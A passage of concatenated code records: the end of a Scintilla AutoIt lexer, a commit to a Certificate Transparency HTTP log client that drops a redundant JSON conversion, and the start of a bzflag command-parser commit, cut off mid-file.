|| ch == '^');\n}\n\nstatic void ColouriseAU3Doc(unsigned int startPos, \n\t\t\t\t\t\t\tint length, int initStyle,\n\t\t\t\t\t\t\tWordList *keywordlists[],\n\t\t\t\t\t\t\tAccessor &styler) {\n\n WordList &keywords = *keywordlists[0];\n WordList &keywords2 = *keywordlists[1];\n WordList &keywords3 = *keywordlists[2];\n WordList &keywords4 = *keywordlists[3];\n styler.StartAt(startPos);\n\n StyleContext sc(startPos, length, initStyle, styler);\n\tchar si,sk;\n\tsi=0;\n\tsk=0;\n for (; sc.More(); sc.Forward()) {\n\t\tchar s[100];\n\t\tsc.GetCurrentLowered(s, sizeof(s));\n\t\tswitch (sc.state)\n {\n case SCE_AU3_COMMENTBLOCK:\n {\n if (sc.ch == '#') {sc.SetState(SCE_AU3_DEFAULT);}\n\t\t\t\tbreak;\n\t\t\t}\n case SCE_AU3_COMMENT:\n {\n if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_OPERATOR:\n {\n sc.SetState(SCE_AU3_DEFAULT);\n break;\n }\n case SCE_AU3_KEYWORD:\n {\n if (!IsAWordChar(sc.ch))\n {\n if (!IsTypeCharacter(sc.ch))\n {\n\t\t\t\t\t\tif (strcmp(s, \"#cs\")==0 || strcmp(s, \"#comments_start\")==0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_COMMENTBLOCK);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_COMMENTBLOCK);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (strcmp(s, \"#ce\")==0 || strcmp(s, \"#comments_end\")==0) \n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_COMMENTBLOCK);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (keywords.InList(s)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_KEYWORD);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t\t\/\/sc.SetState(SCE_AU3_KEYWORD);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (keywords2.InList(s)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_FUNCTION);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t\t\/\/sc.SetState(SCE_AU3_FUNCTION);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (keywords3.InList(s)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_MACRO);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse if (!IsAWordChar(sc.ch)) {\n\t\t\t\t\t\t\tsc.ChangeState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t\tsc.SetState(SCE_AU3_DEFAULT);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\t\n if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_NUMBER:\n {\n if (!IsAWordChar(sc.ch)) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_VARIABLE:\n {\n if (!IsAWordChar(sc.ch)) {sc.SetState(SCE_AU3_DEFAULT);}\n break;\n }\n case SCE_AU3_STRING:\n {\n\t\t\t\tsk = 0;\n\t\t\t\t\/\/ check for \" in and single qouted string\n\t if (si == 1){\n\t\t\t\t\tif (sc.ch == '\\\"'){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n\t\t\t\t\/\/ check for ' in and double qouted string\n if (si == 2){\n\t\t\t\t\tif (sc.ch == '\\''){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n\t\t\t\t\/\/ find Sendkeys in an STRING\n\t\t\t\tif (sc.ch == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '+' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '!' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '^' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '#' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tbreak;\n }\n \n case SCE_AU3_SENT:\n {\n\t\t\t\t\/\/ Sent key string ended \n\t\t\t\tif (sk == 1) \n\t\t\t\t{\n\t\t\t\t\t\/\/ set color to SENTKEY when valid sentkey .. else set to comment to show its wrong\n\t\t\t\t\tif (keywords4.InList(s)) \n\t\t\t\t\t{\n\t\t\t\t\t\tsc.ChangeState(SCE_AU3_SENT);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tsc.ChangeState(SCE_AU3_STRING);\n\t\t\t\t\t}\n\t\t\t\t\tsc.SetState(SCE_AU3_STRING);\n\t\t\t\t\tsk=0;\n\t\t\t\t}\n\t\t\t\t\/\/ check if next portion is again a sentkey\n\t\t\t\tif (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n\t\t\t\tif (sc.ch == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '+' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '!' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '^' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\tif (sc.ch == '#' && sc.chNext == '{') {sc.SetState(SCE_AU3_SENT);}\n\t\t\t\t\/\/ check to see if the string ended...\n\t\t\t\t\/\/ check for \" in and single qouted string\n\t if (si == 1){\n\t\t\t\t\tif (sc.ch == '\\\"'){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n\t\t\t\t\/\/ check for ' in and double qouted string\n if (si == 2){\n\t\t\t\t\tif (sc.ch == '\\''){sc.ForwardSetState(SCE_AU3_DEFAULT);}}\n\t\t\t\tbreak;\n }\n } \/\/switch (sc.state)\n\n \/\/ Determine if a new state should be entered:\n if (sc.state == SCE_AU3_SENT)\n {\n\t\t\tif (sc.ch == '}' && sc.chNext != '}') \n\t\t\t{\n\t\t\t\tsk = 1;\n\t\t\t}\t\t\t\n\t\t}\n\t\tif (sc.state == SCE_AU3_DEFAULT)\n {\n if (sc.ch == ';') {sc.SetState(SCE_AU3_COMMENT);}\n else if (sc.ch == '#') {sc.SetState(SCE_AU3_KEYWORD);}\n else if (IsAWordStart(sc.ch)) {sc.SetState(SCE_AU3_KEYWORD);}\n else if (sc.ch == '@') {sc.SetState(SCE_AU3_KEYWORD);}\n else if (sc.ch == '\\\"') {\n\t\t\t\tsc.SetState(SCE_AU3_STRING);\n\t\t\t\tsi = 1;\t}\n else if (sc.ch == '\\'') {\n\t\t\t\tsc.SetState(SCE_AU3_STRING);\n\t\t\t\tsi = 2;\t}\n else if (sc.ch == '$') {sc.SetState(SCE_AU3_VARIABLE);}\n else if (IsADigit(sc.ch) || (sc.ch == '.' && IsADigit(sc.chNext))) {sc.SetState(SCE_AU3_NUMBER);}\n \/\/else if (IsAWordStart(sc.ch)) {sc.SetState(SCE_AU3_KEYWORD);}\n else if (isoperator(static_cast<char>(sc.ch)) || (sc.ch == '\\\\')) {sc.SetState(SCE_AU3_OPERATOR);}\n\t\t\telse if (sc.atLineEnd) {sc.SetState(SCE_AU3_DEFAULT);}\n }\n } \/\/for (; sc.More(); sc.Forward())\n sc.Complete();\n}\n\n\/\/\n\/\/\nstatic void FoldAU3Doc(unsigned int startPos, int length, int, WordList *[], Accessor &styler)\n{\n\t\tint endPos = startPos + length;\n\n\t\/\/ Backtrack to previous line in case need to fix its fold status\n\tint lineCurrent = styler.GetLine(startPos);\n\tif (startPos > 0) {\n\t\tif (lineCurrent > 0) {\n\t\t\tlineCurrent--;\n\t\t\tstartPos = styler.LineStart(lineCurrent);\n\t\t}\n\t}\n\tint spaceFlags = 0;\n\tint indentCurrent = styler.IndentAmount(lineCurrent, &spaceFlags, IsAU3Comment);\n\tchar chNext = styler[startPos];\n\tfor (int i = startPos; i < endPos; i++) {\n\t\tchar ch = chNext;\n\t\tchNext = styler.SafeGetCharAt(i + 1);\n\n\t\tif ((ch == '\\r' && chNext != '\\n') || (ch == '\\n') || (i == endPos)) {\n\t\t\tint lev = indentCurrent;\n\t\t\tint indentNext = styler.IndentAmount(lineCurrent + 1, &spaceFlags, IsAU3Comment);\n\t\t\tif (!(indentCurrent & SC_FOLDLEVELWHITEFLAG)) {\n\t\t\t\t\/\/ Only non whitespace lines can be headers\n\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t} else if (indentNext & SC_FOLDLEVELWHITEFLAG) {\n\t\t\t\t\t\/\/ Line after is blank so check the next - maybe should continue further?\n\t\t\t\t\tint spaceFlags2 = 0;\n\t\t\t\t\tint indentNext2 = styler.IndentAmount(lineCurrent + 2, &spaceFlags2, IsAU3Comment);\n\t\t\t\t\tif ((indentCurrent & SC_FOLDLEVELNUMBERMASK) < (indentNext2 & SC_FOLDLEVELNUMBERMASK)) {\n\t\t\t\t\t\tlev |= SC_FOLDLEVELHEADERFLAG;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tindentCurrent = indentNext;\n\t\t\tstyler.SetLevel(lineCurrent, lev);\n\t\t\tlineCurrent++;\n\t\t}\n\t}\n\n}\n\n\n\n\/\/\n\nstatic const char * const AU3WordLists[] = {\n \"#autoit keywords\",\n \"#autoit functions\",\n \"#autoit macros\",\n \"#autoit Sent keys\",\n 0\n};\nLexerModule lmAU3(SCLEX_AU3, ColouriseAU3Doc, \"au3\", FoldAU3Doc , AU3WordLists);\n<|endoftext|>"} {"text":"<commit_before>\/* -*- indent-tabs-mode: nil -*- *\/\n#include \"client\/http_log_client.h\"\n#include \"log\/cert.h\"\n#include \"proto\/ct.pb.h\"\n#include \"proto\/serializer.h\"\n#include \"util\/json_wrapper.h\"\n#include \"util\/util.h\"\n\n#include <curlpp\/cURLpp.hpp>\n#include <curlpp\/Easy.hpp>\n#include <curlpp\/Options.hpp>\n#include <glog\/logging.h>\n#include <sstream>\n\nusing std::string;\nusing std::ostringstream;\n\nusing ct::Cert;\nusing ct::CertChain;\n\nvoid HTTPLogClient::BaseUrl(ostringstream *url) {\n *url << \"http:\/\/\" << server_ << \"\/ct\/v1\/\";\n}\n\nstatic HTTPLogClient::Status SendRequest(ostringstream *response,\n curlpp::Easy *request,\n const ostringstream &url) {\n request->setOpt(new curlpp::options::Url(url.str()));\n try {\n *response << *request;\n } catch(curlpp::LibcurlRuntimeError &e) {\n if (e.what() == string(\"couldn't connect to host\"))\n return HTTPLogClient::CONNECT_FAILED;\n LOG(ERROR) << \"Caught curlpp::LibcurlRuntimeError: \" << e.what();\n return HTTPLogClient::UNKNOWN_ERROR;\n }\n return HTTPLogClient::OK;\n}\n\nHTTPLogClient::Status\nHTTPLogClient::UploadSubmission(const std::string &submission, bool pre,\n ct::SignedCertificateTimestamp *sct) {\n\n CertChain chain(submission);\n\n if (!chain.IsLoaded())\n return INVALID_INPUT;\n\n JsonArray jchain;\n for (size_t n = 0; n < chain.Length(); ++n) {\n string cert;\n CHECK_EQ(Cert::TRUE, chain.CertAt(n)->DerEncoding(&cert));\n jchain.Add(json_object_new_string(ToBase64(cert).c_str()));\n }\n json_object *jsend = json_object_new_object();\n json_object_object_add(jsend, \"chain\", jchain.Extract());\n\n const char *jsoned = json_object_to_json_string(jsend);\n\n ostringstream url;\n BaseUrl(&url);\n url << \"add-\";\n if (pre)\n url << \"pre-\";\n url << \"chain\";\n\n curlpp::Easy request;\n request.setOpt(new curlpp::options::PostFields(jsoned));\n\n std::ostringstream response;\n Status ret = SendRequest(&response, &request, url);\n LOG(INFO) << \"request = \" << url.str();\n LOG(INFO) << \"body = \" << jsoned;\n LOG(INFO) << \"response = \" << response.str();\n json_object_put(jsend);\n if (ret != OK)\n return ret;\n\n JsonObject jresponse(json_tokener_parse(response.str().c_str()));\n\n jsoned = jresponse.ToJson();\n\n if (!jresponse.IsType(json_type_object)) {\n LOG(ERROR) << \"Expected a JSON object, got: \" << response.str();\n return BAD_RESPONSE;\n }\n\n JsonString id(jresponse, \"id\");\n if (!id.Ok())\n return BAD_RESPONSE;\n sct->mutable_id()->set_key_id(id.FromBase64());\n\n JsonInt timestamp(jresponse, \"timestamp\");\n if (!timestamp.Ok())\n return BAD_RESPONSE;\n sct->set_timestamp(timestamp.Value());\n\n JsonString extensions(jresponse, \"extensions\");\n if (!extensions.Ok())\n return BAD_RESPONSE;\n sct->set_extension(extensions.FromBase64());\n\n JsonString signature(jresponse, \"signature\");\n if (!signature.Ok())\n return BAD_RESPONSE;\n if (Deserializer::DeserializeDigitallySigned(signature.FromBase64(),\n sct->mutable_signature())\n != Deserializer::OK)\n return BAD_RESPONSE;\n\n sct->set_version(ct::V1);\n\n return OK;\n}\n\nHTTPLogClient::Status\nHTTPLogClient::QueryAuditProof(const string &merkle_leaf_hash,\n ct::MerkleAuditProof *proof) {\n ostringstream url;\n BaseUrl(&url);\n url << \"get-sth\";\n\n curlpp::Easy request;\n\n std::ostringstream response;\n Status ret = SendRequest(&response, &request, url);\n LOG(INFO) << \"request = \" << url.str();\n LOG(INFO) << \"response = \" << response.str();\n if (ret != OK)\n return ret;\n\n JsonObject jresponse(response);\n\n JsonInt tree_size(jresponse, \"tree_size\");\n if (!tree_size.Ok())\n return BAD_RESPONSE;\n proof->set_tree_size(tree_size.Value());\n\n JsonInt timestamp(jresponse, \"timestamp\");\n if (!timestamp.Ok())\n return BAD_RESPONSE;\n proof->set_timestamp(timestamp.Value());\n\n JsonString tree_head_signature(jresponse, \"tree_head_signature\");\n if (!tree_head_signature.Ok())\n return BAD_RESPONSE;\n string decoded = tree_head_signature.FromBase64();\n if (Deserializer::DeserializeDigitallySigned(decoded,\n proof->mutable_tree_head_signature()) != Deserializer::OK)\n return BAD_RESPONSE;\n\n ostringstream url2;\n BaseUrl(&url2);\n url2 << \"get-proof-by-hash?hash=\"\n << curlpp::escape(ToBase64(merkle_leaf_hash))\n << \"&tree_size=\" << tree_size.Value();\n curlpp::Easy request2;\n std::ostringstream response2;\n ret = SendRequest(&response2, &request2, url2);\n LOG(INFO) << \"request = \" << url2.str();\n LOG(INFO) << \"response = \" << response2.str();\n if (ret != OK)\n return ret;\n\n JsonObject jresponse2(response2);\n\n JsonInt leaf_index(jresponse2, \"leaf_index\");\n if (!leaf_index.Ok())\n return BAD_RESPONSE;\n proof->set_leaf_index(leaf_index.Value());\n\n JsonArray audit_path(jresponse2, \"audit_path\");\n if (!audit_path.Ok())\n return BAD_RESPONSE;\n\n for (int n = 0; n < audit_path.Length(); ++n) {\n JsonString path_node(audit_path, n);\n CHECK(path_node.Ok());\n proof->add_path_node(path_node.FromBase64());\n }\n\n proof->set_version(ct::V1);\n\n return OK;\n}\n\nHTTPLogClient::Status HTTPLogClient::GetEntries(int first, int last,\n std::vector<LogEntry> *entries) {\n ostringstream url;\n BaseUrl(&url);\n url << \"get-entries?start=\" << first << \"&end=\" << last;\n\n curlpp::Easy request;\n\n std::ostringstream response;\n Status ret = SendRequest(&response, &request, url);\n LOG(INFO) << \"request = \" << url.str();\n LOG(INFO) << \"response = \" << response.str();\n if (ret != OK)\n return ret;\n\n JsonObject jresponse(response);\n if (!jresponse.Ok())\n return BAD_RESPONSE;\n\n JsonArray jentries(jresponse, \"entries\");\n if (!jentries.Ok())\n return BAD_RESPONSE;\n\n for (int n = 0; n < jentries.Length(); ++n) {\n JsonObject entry(jentries, n);\n if (!entry.Ok())\n return BAD_RESPONSE;\n\n JsonString leaf_input(entry, \"leaf_input\");\n if (!leaf_input.Ok())\n return BAD_RESPONSE;\n\n LogEntry log_entry;\n if (Deserializer::DeserializeMerkleTreeLeaf(leaf_input.FromBase64(),\n &log_entry.leaf)\n != Deserializer::OK)\n return BAD_RESPONSE;\n\n JsonString extra_data(entry, \"extra_data\");\n if (!extra_data.Ok())\n return BAD_RESPONSE;\n\n if (log_entry.leaf.timestamped_entry().entry_type() == ct::X509_ENTRY)\n Deserializer::DeserializeX509Chain(extra_data.FromBase64(),\n log_entry.entry.mutable_x509_entry());\n else if (log_entry.leaf.timestamped_entry().entry_type()\n == ct::PRECERT_ENTRY)\n Deserializer::DeserializePrecertChainEntry(extra_data.FromBase64(),\n log_entry.entry.mutable_precert_entry());\n else\n LOG(FATAL) << \"Don't understand entry type: \"\n << log_entry.leaf.timestamped_entry().entry_type();\n\n entries->push_back(log_entry);\n }\n\n return OK;\n}\n<commit_msg>Remove unnecessary call to ToJson.<commit_after>\/* -*- indent-tabs-mode: nil -*- *\/\n#include \"client\/http_log_client.h\"\n#include \"log\/cert.h\"\n#include \"proto\/ct.pb.h\"\n#include \"proto\/serializer.h\"\n#include \"util\/json_wrapper.h\"\n#include \"util\/util.h\"\n\n#include <curlpp\/cURLpp.hpp>\n#include <curlpp\/Easy.hpp>\n#include <curlpp\/Options.hpp>\n#include <glog\/logging.h>\n#include <sstream>\n\nusing std::string;\nusing std::ostringstream;\n\nusing ct::Cert;\nusing ct::CertChain;\n\nvoid HTTPLogClient::BaseUrl(ostringstream *url) {\n *url << \"http:\/\/\" << server_ << \"\/ct\/v1\/\";\n}\n\nstatic HTTPLogClient::Status SendRequest(ostringstream *response,\n curlpp::Easy *request,\n const ostringstream &url) {\n request->setOpt(new curlpp::options::Url(url.str()));\n try {\n *response << *request;\n } catch(curlpp::LibcurlRuntimeError &e) {\n if (e.what() == string(\"couldn't connect to host\"))\n return HTTPLogClient::CONNECT_FAILED;\n LOG(ERROR) << \"Caught curlpp::LibcurlRuntimeError: \" << e.what();\n return HTTPLogClient::UNKNOWN_ERROR;\n }\n return HTTPLogClient::OK;\n}\n\nHTTPLogClient::Status\nHTTPLogClient::UploadSubmission(const std::string &submission, bool pre,\n ct::SignedCertificateTimestamp *sct) {\n\n CertChain chain(submission);\n\n if (!chain.IsLoaded())\n return INVALID_INPUT;\n\n JsonArray jchain;\n for (size_t n = 0; n < chain.Length(); ++n) {\n string cert;\n CHECK_EQ(Cert::TRUE, chain.CertAt(n)->DerEncoding(&cert));\n jchain.Add(json_object_new_string(ToBase64(cert).c_str()));\n }\n json_object *jsend = json_object_new_object();\n json_object_object_add(jsend, \"chain\", jchain.Extract());\n\n const char *jsoned = json_object_to_json_string(jsend);\n\n ostringstream url;\n BaseUrl(&url);\n url << \"add-\";\n if (pre)\n url << \"pre-\";\n url << \"chain\";\n\n curlpp::Easy request;\n request.setOpt(new curlpp::options::PostFields(jsoned));\n\n std::ostringstream response;\n Status ret = SendRequest(&response, &request, url);\n LOG(INFO) << \"request = \" << url.str();\n LOG(INFO) << \"body = \" << jsoned;\n LOG(INFO) << \"response = \" << response.str();\n json_object_put(jsend);\n if (ret != OK)\n return ret;\n\n JsonObject jresponse(json_tokener_parse(response.str().c_str()));\n\n if (!jresponse.IsType(json_type_object)) {\n LOG(ERROR) << \"Expected a JSON object, got: \" << response.str();\n return BAD_RESPONSE;\n }\n\n JsonString id(jresponse, \"id\");\n if (!id.Ok())\n return BAD_RESPONSE;\n sct->mutable_id()->set_key_id(id.FromBase64());\n\n JsonInt timestamp(jresponse, \"timestamp\");\n if (!timestamp.Ok())\n return BAD_RESPONSE;\n sct->set_timestamp(timestamp.Value());\n\n JsonString extensions(jresponse, \"extensions\");\n if (!extensions.Ok())\n return BAD_RESPONSE;\n sct->set_extension(extensions.FromBase64());\n\n JsonString signature(jresponse, \"signature\");\n if (!signature.Ok())\n return BAD_RESPONSE;\n if (Deserializer::DeserializeDigitallySigned(signature.FromBase64(),\n sct->mutable_signature())\n != Deserializer::OK)\n return BAD_RESPONSE;\n\n sct->set_version(ct::V1);\n\n return OK;\n}\n\nHTTPLogClient::Status\nHTTPLogClient::QueryAuditProof(const string &merkle_leaf_hash,\n ct::MerkleAuditProof *proof) {\n ostringstream url;\n BaseUrl(&url);\n url << \"get-sth\";\n\n curlpp::Easy request;\n\n std::ostringstream response;\n Status ret = SendRequest(&response, &request, url);\n LOG(INFO) << \"request = \" << url.str();\n LOG(INFO) << \"response = \" << response.str();\n if (ret != OK)\n return ret;\n\n JsonObject jresponse(response);\n\n JsonInt tree_size(jresponse, \"tree_size\");\n if (!tree_size.Ok())\n return BAD_RESPONSE;\n proof->set_tree_size(tree_size.Value());\n\n JsonInt timestamp(jresponse, \"timestamp\");\n if (!timestamp.Ok())\n return BAD_RESPONSE;\n proof->set_timestamp(timestamp.Value());\n\n JsonString tree_head_signature(jresponse, \"tree_head_signature\");\n if (!tree_head_signature.Ok())\n return BAD_RESPONSE;\n string decoded = tree_head_signature.FromBase64();\n if (Deserializer::DeserializeDigitallySigned(decoded,\n proof->mutable_tree_head_signature()) != Deserializer::OK)\n return BAD_RESPONSE;\n\n ostringstream url2;\n BaseUrl(&url2);\n url2 << \"get-proof-by-hash?hash=\"\n << curlpp::escape(ToBase64(merkle_leaf_hash))\n << \"&tree_size=\" << tree_size.Value();\n curlpp::Easy request2;\n std::ostringstream response2;\n ret = SendRequest(&response2, &request2, url2);\n LOG(INFO) << \"request = \" << url2.str();\n LOG(INFO) << \"response = \" << response2.str();\n if (ret != OK)\n return ret;\n\n JsonObject jresponse2(response2);\n\n JsonInt leaf_index(jresponse2, \"leaf_index\");\n if (!leaf_index.Ok())\n return BAD_RESPONSE;\n proof->set_leaf_index(leaf_index.Value());\n\n JsonArray audit_path(jresponse2, \"audit_path\");\n if (!audit_path.Ok())\n return BAD_RESPONSE;\n\n for (int n = 0; n < audit_path.Length(); ++n) {\n JsonString path_node(audit_path, n);\n CHECK(path_node.Ok());\n proof->add_path_node(path_node.FromBase64());\n }\n\n proof->set_version(ct::V1);\n\n return OK;\n}\n\nHTTPLogClient::Status HTTPLogClient::GetEntries(int first, int last,\n std::vector<LogEntry> *entries) {\n ostringstream url;\n BaseUrl(&url);\n url << \"get-entries?start=\" << first << \"&end=\" << last;\n\n curlpp::Easy request;\n\n std::ostringstream response;\n Status ret = SendRequest(&response, &request, url);\n LOG(INFO) << \"request = \" << url.str();\n LOG(INFO) << \"response = \" << response.str();\n if (ret != OK)\n return ret;\n\n JsonObject jresponse(response);\n if (!jresponse.Ok())\n return BAD_RESPONSE;\n\n JsonArray jentries(jresponse, \"entries\");\n if (!jentries.Ok())\n return BAD_RESPONSE;\n\n for (int n = 0; n < jentries.Length(); ++n) {\n JsonObject entry(jentries, n);\n if (!entry.Ok())\n return BAD_RESPONSE;\n\n JsonString leaf_input(entry, \"leaf_input\");\n if (!leaf_input.Ok())\n return BAD_RESPONSE;\n\n LogEntry log_entry;\n if (Deserializer::DeserializeMerkleTreeLeaf(leaf_input.FromBase64(),\n &log_entry.leaf)\n != Deserializer::OK)\n return BAD_RESPONSE;\n\n JsonString extra_data(entry, \"extra_data\");\n if (!extra_data.Ok())\n return BAD_RESPONSE;\n\n if (log_entry.leaf.timestamped_entry().entry_type() == ct::X509_ENTRY)\n Deserializer::DeserializeX509Chain(extra_data.FromBase64(),\n log_entry.entry.mutable_x509_entry());\n else if (log_entry.leaf.timestamped_entry().entry_type()\n == ct::PRECERT_ENTRY)\n Deserializer::DeserializePrecertChainEntry(extra_data.FromBase64(),\n log_entry.entry.mutable_precert_entry());\n else\n LOG(FATAL) << \"Don't understand entry type: \"\n << log_entry.leaf.timestamped_entry().entry_type();\n\n entries->push_back(log_entry);\n }\n\n return OK;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* bzflag\n * Copyright (c) 1993 - 2008 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"CommandManager.h\"\n\n\/* system implementation headers *\/\n#include <ctype.h>\n#include <stdio.h>\n#include <assert.h>\n#include <string>\n\n\/* common implementation headers *\/\n#include \"TextUtils.h\"\n\n\n\/\/ initialize the singleton\ntemplate <>\nCommandManager* Singleton<CommandManager>::_instance = (CommandManager*)0;\n\nCommandManager::CommandManager()\n{\n \/\/ do nothing\n}\n\nCommandManager::~CommandManager()\n{\n \/\/ do nothing\n}\n\nvoid\t\t\t\tCommandManager::add(const std::string& name,\n\t\t\t\t\t\t CommandFunction func,\n\t\t\t\t\t\t const std::string& help)\n{\n commands.erase(name);\n CmdInfo info;\n info.func = func;\n info.help = help;\n commands.insert(std::make_pair(name, info));\n}\n\nvoid\t\t\t\tCommandManager::remove(const std::string& name)\n{\n commands.erase(name);\n}\n\nstd::string\t\t\tCommandManager::getHelp(const std::string& name) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end())\n return \"\";\n\n \/\/ return help string\n return index->second.help;\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& name,\n\t\t\t\t\t\t\t const ArgList& args, bool* ret) const\n{\n \/\/ look up command\n Commands::const_iterator index = commands.find(name);\n if (index == commands.end()) {\n if (ret)\n *ret = false;\n return TextUtils::format(\"Command %s not found\", name.c_str());\n }\n if (ret)\n *ret = true;\n \/\/ run it\n return (*index->second.func)(name, args,ret);\n}\n\nstd::string\t\t\tCommandManager::run(const std::string& cmd,bool *ret) const\n{\n std::string result;\n const char* scan = cmd.c_str();\n\n scan = skipWhitespace(scan);\n while (scan != NULL && *scan != '\\0') {\n std::string name;\n ArgList args;\n\n \/\/ parse command name\n scan = skipWhitespace(scan);\n scan = readValue(scan, &name);\n if (scan != NULL)\n scan = skipWhitespace(scan);\n\n \/\/ parse arguments\n while (scan != NULL && *scan != '\\0' && *scan != ';') {\n std::string value;\n scan = readValue(scan, &value);\n if (scan != NULL) {\n\tscan = skipWhitespace(scan);\n\targs.push_back(value);\n }\n }\n\n \/\/ run it or report error\n if (scan == NULL) {\n if (ret)\n \t*ret = false;\n return std::string(\"Error parsing command\");\n } else if (name[0] != '#') {\n result = run(name, args, ret);\n }\n\n \/\/ discard ; and empty commands\n while (scan != NULL && *scan == ';') {\n ++scan;\n scan = skipWhitespace(scan);\n }\n }\n\n \/\/ return result of last command only\n return result;\n}\n\nvoid\t\t\t\tCommandManager::iterate(Callback callback,\n\t\t\t\t\t\t\tvoid* userData) const\n{\n assert(callback != NULL);\n\n for (Commands::const_iterator index = commands.begin();\n index != commands.end(); ++index)\n (*callback)(index->first, userData);\n}\n\n\nconst char*\t\t\tCommandManager::readValue(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n if (*string == '\\\"')\n return readQuoted(string + 1, value);\n else if (*string != '\\0')\n return readUnquoted(string, value);\n else\n return string;\n}\n\nconst char*\t\t\tCommandManager::readUnquoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n \/\/ read up to next whitespace. escapes are not interpreted.\n const char* start = string;\n while (*string != '\\0' && !isspace(*string) && *string != ';')\n ++string;\n *value = std::string(start, string - start);\n return string;\n}\n\nconst char*\t\t\tCommandManager::readQuoted(const char* string,\n\t\t\t\t\t\t\t std::string* value)\n{\n *value = \"\";\n bool escaped = false;\n for (; *string != '\\0'; ++string) {\n if (escaped) {\n switch (*string) {\n\tcase 't': value->append(\"\\t\", 1); break;\n\tcase 'n': value->append(\"\\n\", 1); break;\n\tcase 'r': value->append(\"\\r\", 1); break;\n\tcase '\\\\': value->append(\"\\\\\", 1); break;\n\tcase '\\\"': value->append(\"\\\"\", 1); break;\n\tdefault: value->append(string, 1); break;\n }\n escaped = false;\n } else if (*string == '\\\\') {\n escaped = true;\n } else if (*string == '\\\"') {\n return string + 1;\n } else {\n value->append(string, 1);\n }\n }\n \/\/ closing quote is missing. if escaped is true the called may have\n \/\/ wanted to continue the line but we don't allow that.\n return NULL;\n}\n\nconst char*\t\t\tCommandManager::skipWhitespace(const char* string)\n{\n while (*string != '\\0' && isspace(*string))\n ++string;\n return string;\n}\n\n\/\/ Local Variables: ***\n\/\/ mode: C++ ***\n\/\/ tab-width: 8 ***\n\/\/ c-basic-offset: 2 ***\n\/\/ indent-tabs-mode: t ***\n\/\/ End: ***\n\/\/ ex: shiftwidth=2 tabstop=8\n<commit_msg>make windows not choke on UTF8 sequences in the client config file. since we aren't actually doing anything with the characters this routine doesn't actually need to be multibyte-aware.<commit_after>\/* bzflag\n * Copyright (c) 1993 - 2008 Tim Riker\n *\n * This package is free software; you can redistribute it and\/or\n * modify it under the terms of the license found in the file\n * named LICENSE that should have accompanied this file.\n *\n * THIS PACKAGE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED\n * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.\n *\/\n\n\/* interface header *\/\n#include \"CommandManager.h\"\n\n\/* system implementation headers *\/\n#include <ctype.h>\n#include <wctype.h>\n#include <stdio.h>\n#include <assert.h>\n#include <string>\n\n\/* common implementation headers *\/\n#include \"TextUtils.h\"\n\n\n\/\/ initialize the singleton\ntemplate 